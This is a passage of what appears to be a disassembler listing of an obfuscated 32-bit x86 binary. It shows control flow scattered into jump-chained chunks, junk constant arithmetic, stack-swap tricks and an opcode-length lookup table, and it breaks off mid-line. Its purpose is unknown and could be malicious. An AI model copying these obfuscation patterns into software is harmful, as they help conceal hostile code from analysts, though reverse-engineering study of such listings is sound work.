[00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424D63: ; CODE XREF: sub_42851A+3j jmp loc_428951 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_424D68: ; CODE XREF: sub_424161-F65j jmp loc_426C7F ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_424D6D: ; CODE XREF: sub_426354-475j inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4252DC[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_4283BF ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- pushf jmp sub_428945 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_424D8C: ; CODE XREF: sub_42304F:loc_426EF9j movzx eax, word ptr [eax] push offset word_423E06 jmp loc_428F45 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= sub_424D99 proc near ; DATA XREF: sub_428CE7:loc_428E3Co ; FUNCTION CHUNK AT 00423C1A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00423EF4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424003 SIZE 00000005 BYTES push 1EC7B0C3h pop ebx sub ebx, 961ABD41h cmp ebx, 605F4E86h jmp loc_424003 sub_424D99 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424DB0: ; DATA XREF: sub_4275A3:loc_425CD2o add edx, 0A38B8F95h add edx, ebp ; START OF FUNCTION CHUNK FOR sub_4260BD loc_424DB8: ; CODE XREF: sub_4260BD:loc_426D8Cj add edx, 9FDC25DBh mov [edx], eax pop edx jmp loc_4239D3 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_424DC6: ; CODE XREF: hjohnhn9:loc_4268B3j inc ds:dword_4233C4 lea eax, nullsub_118 jmp loc_425FB1 ; --------------------------------------------------------------------------- loc_424DD7: ; DATA XREF: sub_4244F5:loc_42681Do push eax push 0 push eax mov eax, ebx jmp loc_428E39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_424DE2: ; CODE XREF: sub_428477-379Bj xchg edx, [esp+0Ch+var_C] mov eax, edx pop edx xor eax, ds:4000F6h and eax, 7E3752A7h xor eax, 0D8CB25EAh or eax, 0D65B20F8h jmp loc_4279E3 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_424E05: ; CODE XREF: sub_424564:loc_42456Dj mov eax, [ebp+var_4] movzx eax, byte ptr [eax] cmp ds:dword_4252DC[eax*4], 0 jz loc_42755C mov eax, [ebp+var_4] loc_424E1C: ; CODE XREF: hjohnhn9:00426EA7j cmp byte ptr [eax], 0CFh jmp loc_426547 ; END OF FUNCTION CHUNK FOR sub_424564 ; --------------------------------------------------------------------------- dword_424E24 dd 1E6E8h, 0FC08400h, 1D884h, 0E57AE900h ; DATA XREF: sub_427E7Bo db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42392D loc_424E36: ; CODE XREF: sub_42392D:loc_428AE8j mov [ebp-1], al cmp byte ptr [ebp-1], 0 jz loc_428728 mov dword ptr [ebp-8], 1 jmp loc_4244E4 ; END OF FUNCTION CHUNK FOR sub_42392D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E4F proc near ; CODE XREF: sub_42392Dj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 ; FUNCTION CHUNK AT 004244D3 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042634F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004265B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428728 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00428B82 SIZE 00000008 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_1], al jmp loc_42634F sub_424E4F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424E5D proc near ; CODE XREF: sub_4262C5:loc_423B1Fp ; hjohnhn9:00427F7Dj xchg ecx, [esp+0] pop ecx pop ebp retn sub_424E5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_424E63: ; CODE XREF: sub_4262C5-2A24j ; sub_428447+4j mov eax, [ebp-4] jmp loc_424ADE ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_424E6B: ; CODE XREF: sub_42851A-3B0Dj ; sub_42325E:loc_428B46j ja loc_423B46 push 0B6B4C19Fh ; END OF FUNCTION CHUNK FOR sub_42325E ; START OF FUNCTION CHUNK FOR sub_42851A loc_424E76: ; CODE XREF: sub_42851A:loc_4269E6j call sub_424877 mov edx, 95918C9Dh push ebx jmp loc_424EF1 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424E86: ; CODE XREF: sub_425BD2:loc_424AB4j mov ebp, eax pop eax retn ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424377 loc_424E8A: ; CODE XREF: sub_424377+3j jmp loc_42777F ; END OF FUNCTION CHUNK FOR sub_424377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_424E8F: ; CODE XREF: sub_428477-4A96j jmp nullsub_63 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_424E94: ; CODE XREF: sub_427486:loc_4271F2j push offset loc_4266F0 loc_424E99: ; CODE XREF: sub_426A78:loc_425F15j jmp loc_4263D3 ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_424E9F: ; CODE XREF: sub_42355C+2B37j jmp loc_425C40 ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_424EA4 proc near ; DATA XREF: hjohnhn9:00424B26o jz nullsub_106 sub_424EA4 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428183 loc_424EAA: ; CODE XREF: sub_428183-4E50j ; sub_428183+4j jns loc_42333E push eax push 0 call sub_428192 jmp loc_428B11 ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- locret_424EBD: ; CODE XREF: hjohnhn9:0042611Ej retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B97 loc_424EBE: ; CODE XREF: sub_424B97+7j jmp loc_42829E ; END OF FUNCTION CHUNK FOR sub_424B97 ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: hjohnhn9:004269F7j jz loc_423D7C ; =============== S U B R O U T I N E ======================================= sub_424EC9 proc near ; CODE XREF: sub_424C5F+6p ; FUNCTION CHUNK AT 004262D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427298 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427E0A SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00428A28 SIZE 00000012 BYTES xchg esi, [esp+0] pop esi push eax jmp loc_4262D5 sub_424EC9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D9D loc_424ED3: ; CODE XREF: sub_427D9D+11j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h setz al loc_424EE0: ; CODE XREF: hjohnhn9:00428DCCj call sub_42392D pop ecx shl eax, 7 mov edx, [ebp+8] loc_424EEC: ; CODE XREF: sub_424D99:loc_423EF4j jmp loc_42838D ; END OF FUNCTION CHUNK FOR sub_427D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424EF1: ; CODE XREF: sub_42851A-3699j push 0DD8D7CECh pop ebx xor ebx, 56A764BCh and ebx, 0A66DF4EDh jnz loc_427EFB ; END OF FUNCTION CHUNK FOR sub_42851A ; START OF FUNCTION CHUNK FOR sub_424631 loc_424F09: ; CODE XREF: sub_424631+318Fj jmp loc_427DB3 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- popf or edx, 6DDE1E3h jmp loc_424CAF ; --------------------------------------------------------------------------- loc_424F1A: ; CODE XREF: hjohnhn9:00425D22j jbe locret_426747 ; =============== S U B R O U T I N E ======================================= sub_424F20 proc near ; CODE XREF: hjohnhn9:00423DC2p xchg edx, [esp+0] pop edx or dword ptr [eax-8], 8 sub_424F20 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424631 loc_424F28: ; CODE XREF: sub_424631-1235j ; hjohnhn9:loc_423DAFj ... jno loc_4270A1 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_4249A3 loc_424F3E: ; CODE XREF: hjohnhn9:loc_426C41j jmp loc_42708C ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_424F43: ; CODE XREF: sub_42304F+3C09j call sub_427792 loc_424F48: ; CODE XREF: sub_424AE3+11j jmp loc_428AA2 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_424F4D: ; CODE XREF: sub_424698+CBj jmp loc_4238FE ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42442F loc_424F52: ; CODE XREF: sub_42442F+Ej jmp sub_42897A ; END OF FUNCTION CHUNK FOR sub_42442F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_424F57: ; CODE XREF: sub_4236A7-3E4j jmp loc_429027 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42897B loc_424F5C: ; CODE XREF: sub_42897B:loc_42898Aj pop esi rol esi, 0Bh add esi, 11DFE9BEh add esi, ebp add esi, 921074C9h mov [esi], eax pop esi jmp loc_424A1D ; END OF FUNCTION CHUNK FOR sub_42897B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_424F76: ; CODE XREF: hjohnhn9:00424A87j ; sub_427C9B-1B1Dj push 1388h push offset loc_42766A jmp loc_426870 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_424F86: ; CODE XREF: sub_424161+4473j jmp loc_423ECC ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_424F8B: ; CODE XREF: sub_423F65+B33j ja loc_4289BB loc_424F91: ; CODE XREF: sub_423F65:loc_4275EEj push 0A06EE95Dh pop eax sub eax, 0DA827FA8h add eax, 4B148C18h or eax, 71537494h add eax, 3DACEB06h jmp loc_427550 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_424FB4: ; CODE XREF: sub_42363F+3E60j and ebx, ecx loc_424FB6: ; CODE XREF: sub_42363F:loc_424860j call sub_424877 mov edx, 0F2B89A19h call sub_4279ED push ebx push eax pop ebx xchg ebx, [esp+8+var_8] jmp loc_4265C3 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- mov [eax], ecx sbb ecx, 0E452135Dh jmp sub_4280D2 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428E98 loc_424FDE: ; CODE XREF: sub_428E98-3FBj jmp nullsub_89 ; END OF FUNCTION CHUNK FOR sub_428E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_424FE3: ; CODE XREF: sub_423BC3+253Aj jmp loc_428C84 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427345 loc_424FE8: ; CODE XREF: sub_427345-3DB9j jmp nullsub_112 ; END OF FUNCTION CHUNK FOR sub_427345 ; --------------------------------------------------------------------------- push edi mov edi, ebp xchg edi, [esp] mov ebp, esp push edi mov edi, ecx xchg edi, [esp] jmp loc_4268B3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_425001: ; CODE XREF: sub_424698:loc_423928j xchg ebx, [esp+0] call sub_42345B retn ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- loc_42500A: ; CODE XREF: hjohnhn9:0042796Bj jmp loc_4232F7 ; --------------------------------------------------------------------------- push 0E0FE72Bh pop eax and eax, 9D4E0989h xor eax, 4D20C620h rol eax, 1Ch jmp loc_424B11 ; =============== S U B R O U T I N E ======================================= sub_425029 proc near ; CODE XREF: hjohnhn9:0042622Fj ; sub_427F90+512p ; FUNCTION CHUNK AT 00423AE9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426AD1 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004270BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042712D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042737B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428244 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428823 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428999 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx cmp byte ptr [eax], 0 jnz loc_42712D mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 loc_425040: ; CODE XREF: sub_424631:loc_4249B5j ; sub_425029:loc_427135j jns loc_426AD1 jmp loc_428244 sub_425029 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dd 0FFE2D986h, 0E6D8E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_425056: ; CODE XREF: sub_4263E3+2637j jge loc_427E45 ror ebp, 1Eh cmp ecx, edx jmp loc_426C9B ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- loc_425066: ; CODE XREF: hjohnhn9:loc_4261ECj jnz loc_425CE7 jmp loc_427989 ; --------------------------------------------------------------------------- loc_425071: ; DATA XREF: hjohnhn9:loc_427775o sub eax, 0FFFFCA2Ah ; START OF FUNCTION CHUNK FOR sub_423CDB loc_425076: ; CODE XREF: sub_427C9B:loc_424496j ; sub_423CDB+2A9Fj jmp loc_426D2F ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_42507B: ; CODE XREF: sub_4279C0-1A58j jmp loc_425E85 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 88h, 6, 2Ah db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFCCh jmp loc_423DCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_425091: ; CODE XREF: sub_42466E:loc_42384Cj push 0B0A77BC4h pop ebx or ebx, 86A635F3h cmp ebx, 0E442EBFh jmp loc_427DC7 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4250A8: ; CODE XREF: sub_4263E3+1C0Dj push ecx mov ecx, eax xchg ecx, [esp+4+var_4] retn ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4246DB loc_4250AF: ; CODE XREF: sub_4246DB+Dj jmp nullsub_11 ; END OF FUNCTION CHUNK FOR sub_4246DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4250B4: ; CODE XREF: sub_423B05-8E1j mov eax, [ebp-8] call sub_424771 jmp loc_4263DE ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- loc_4250C1: ; CODE XREF: hjohnhn9:00426DE5j xchg ebx, edi ; =============== S U B R O U T I N E ======================================= sub_4250C3 proc near ; CODE XREF: sub_423CDB+2B29p ; FUNCTION CHUNK AT 00428D2E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428F58 SIZE 00000014 BYTES xchg esi, [esp+0] pop esi mov [ebp-0Ch], eax jmp loc_428D2E sub_4250C3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_4250CF: ; CODE XREF: sub_426211:loc_423241j jz loc_424526 ; END OF FUNCTION CHUNK FOR sub_426211 ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4250D5: ; CODE XREF: sub_426A78-385Bj jmp loc_428EDE ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- add ebp, 0E99035BCh xchg ebx, [ecx] mov [edx], edi jmp loc_424526 ; --------------------------------------------------------------------------- popf jmp sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4250EF: ; CODE XREF: sub_426A78:loc_427707j or eax, eax jnz loc_42377B jmp loc_428994 ; END OF FUNCTION CHUNK FOR sub_426A78 ; =============== S U B R O U T I N E ======================================= sub_4250FC proc near ; DATA XREF: sub_4287BF-5122o var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423114 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423361 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004234A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424D11 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004268DB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426912 SIZE 00000012 BYTES cmp dword ptr [ebp-8], 0 jle loc_4268DB mov eax, [ebp-4] xor edx, edx push edx push eax loc_42510D: ; CODE XREF: hjohnhn9:loc_426E86j ; sub_4287BF-157Ej mov eax, [ebp-8] cdq jmp loc_4234A7 sub_4250FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- jo loc_424D3B jmp loc_427060 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D6A loc_425121: ; CODE XREF: sub_427D6A:loc_4231A3j xor edi, 6F7E9CD9h or edi, 0F497BCCDh add edi, 98A81ABh popf xchg edi, [esp-4+arg_0] jmp loc_42681D ; END OF FUNCTION CHUNK FOR sub_427D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_42513C: ; CODE XREF: sub_426F5A:loc_426A0Ej jz loc_423E9B jmp loc_427B8D ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424335 loc_425147: ; CODE XREF: sub_424335:loc_428723j call sub_4238CC loc_42514C: ; CODE XREF: sub_4260BD+1662j ; sub_4278DC:loc_428571j add ecx, 88425BFDh mov [ecx], eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_424335 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_425156: ; CODE XREF: sub_427852+16A3j jmp loc_427F82 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_42515B: ; CODE XREF: sub_4278DC:loc_42808Fj rol eax, 0Bh push eax jmp loc_42438A ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_425164: ; CODE XREF: sub_424631-754j ; sub_424631:loc_428E16j or [edx-8], eax jmp loc_424F28 ; --------------------------------------------------------------------------- loc_42516C: ; CODE XREF: sub_424631-74Bj ; sub_424631+1FF2j cmp dword ptr [ebp-10h], 1 jnz loc_425240 mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h jmp loc_428C44 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_425187: ; CODE XREF: sub_426A78:loc_428994j jz loc_4289DD jmp loc_427CB9 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- mov [ebp-8], eax push esi push 2CB06042h pop esi xor esi, 0E83D6BF8h jmp loc_4260EA ; --------------------------------------------------------------------------- loc_4251A7: ; CODE XREF: hjohnhn9:004246D6j jl loc_428DA6 jmp loc_425B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4251B2: ; CODE XREF: sub_424161:loc_426C7Fj ; sub_424161+2B35j add eax, 14A21851h xchg eax, [esp+0] pushf push 33B0E27Ah pop eax sub eax, 0C07AC534h test eax, 800h jmp loc_42457E ; END OF FUNCTION CHUNK FOR sub_424161 ; =============== S U B R O U T I N E ======================================= sub_4251D3 proc near ; DATA XREF: sub_424354+3o var_4 = dword ptr -4 push ebp mov ebp, ecx xchg ebp, [esp+4+var_4] mov esp, ebp pop ebp call sub_4264CF loc_4251E1: ; CODE XREF: sub_4275F9+1Bj jmp nullsub_12 sub_4251D3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_4251E6: ; CODE XREF: sub_4262C5-2E55j jmp sub_427F43 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; =============== S U B R O U T I N E ======================================= sub_4251EB proc near ; DATA XREF: hjohnhn9:0042468Eo ; FUNCTION CHUNK AT 004232D1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00425FDC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004283BA SIZE 00000005 BYTES xchg ecx, [esp+0] mov eax, ecx pop ecx and eax, 1FC491DEh rol eax, 5 test eax, 200000h jmp loc_4283BA sub_4251EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_425205: ; CODE XREF: sub_42325E+3B97j ja loc_42314E loc_42520B: ; CODE XREF: sub_42325E:loc_423A82j call sub_424877 mov edx, 0BB931B55h loc_425215: ; CODE XREF: sub_42363F:loc_427491j push ebx push 0DBB46803h jmp loc_427535 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_425220: ; CODE XREF: sub_423F65+7j mov eax, [ebp-4] push ebx mov ebx, eax xchg ebx, [esp+4+var_4] push eax push 0FBB90297h pop eax jmp loc_426C64 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_425235: ; CODE XREF: sub_424631:loc_428C44j mov edx, [ebp+8] mov [edx-8], eax jmp loc_424F28 ; --------------------------------------------------------------------------- loc_425240: ; CODE XREF: sub_424631+B3Fj cmp dword ptr [ebp-10h], 2 jnz loc_424F28 mov eax, [ebp+8] jmp loc_42692F ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_425252: ; CODE XREF: sub_423B05:loc_428C49j call sub_42645D loc_425257: ; DATA XREF: sub_423F77:loc_423F91o mov [ebp-4], eax mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] jmp loc_423BA1 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- shl eax, 12h jmp sub_427810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425270: ; CODE XREF: sub_426354:loc_425E3Aj add ecx, 93576428h rol ecx, 1Eh add ecx, 0CD535342h call sub_428B28 ; END OF FUNCTION CHUNK FOR sub_426354 ; START OF FUNCTION CHUNK FOR sub_426B29 loc_425284: ; CODE XREF: sub_426B29+1j mov ebp, esp add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax cmp dword ptr [ebp-8], 0 jnz loc_427D8E mov eax, [ebp-4] mov [ebp-8], eax jmp loc_427D8E ; END OF FUNCTION CHUNK FOR sub_426B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_4252A4: ; CODE XREF: sub_423F65+368Fj adc esi, 6C713FDFh jmp loc_424A92 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427792 loc_4252AF: ; CODE XREF: sub_427792+Bj or ecx, ecx jz loc_4273B2 push offset sub_42304F jmp nullsub_28 ; END OF FUNCTION CHUNK FOR sub_427792 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] dw 2FFAh dword_4252C4 dd 0CE7006EFh ; DATA XREF: sub_427324:loc_4279D7w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4252C8: ; CODE XREF: sub_428477:loc_4287BAj jmp loc_4239D0 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- db 29h, 4Fh, 29h dword_4252D0 dd 77E75CB5h ; DATA XREF: sub_423B05:loc_423505w ; hjohnhn9:00426E1Cr ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_4252D4: ; CODE XREF: sub_42873F-54E6j jmp loc_427021 ; END OF FUNCTION CHUNK FOR sub_42873F ; --------------------------------------------------------------------------- db 28h, 18h, 41h dword_4252DC dd 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h ; DATA XREF: hjohnhn9:004237C3r ; sub_426354-15E1r ... dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 401h, 4 dup(2), 0C0h, 40h, 0 dd 23h dup(1), 2 dup(2), 4 dup(0) dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1) dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h) dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h) dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h dd 0A00h, 60h, 1A00h, 4 dup(1), 0 dd 1, 2 dup(0) dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2) dword_4256DC dd 2 ; DATA XREF: sub_426354-526r dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h) dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h) dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h) dd 3 dup(1), 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2) dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2) dd 1, 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2) dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2 dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2) dd 1, 66EE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_425AE1: ; CODE XREF: sub_425BD2+1358j jmp loc_429008 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- dw 21B2h dword_425AE8 dd 77EB36A5h ; DATA XREF: sub_426D17:loc_4234F1w ; hjohnhn9:004237A4w dword_425AEC dd 0 ; DATA XREF: hjohnhn9:loc_424300o ; sub_427A58+7o ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_425AF0: ; CODE XREF: sub_427C9B+8Fj or ecx, 4D6C3C87h jnp loc_426AD7 loc_425AFC: ; CODE XREF: sub_426D02:loc_427458j lea edx, [ebp-14h] mov eax, offset dword_428AF4 call sub_427AEB jmp loc_42451C ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_425B0E: ; CODE XREF: sub_424631+3B11j jz loc_428B61 jmp loc_428BE3 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_425B19 proc near ; CODE XREF: sub_427C9B:loc_427CE0p ; FUNCTION CHUNK AT 00426A29 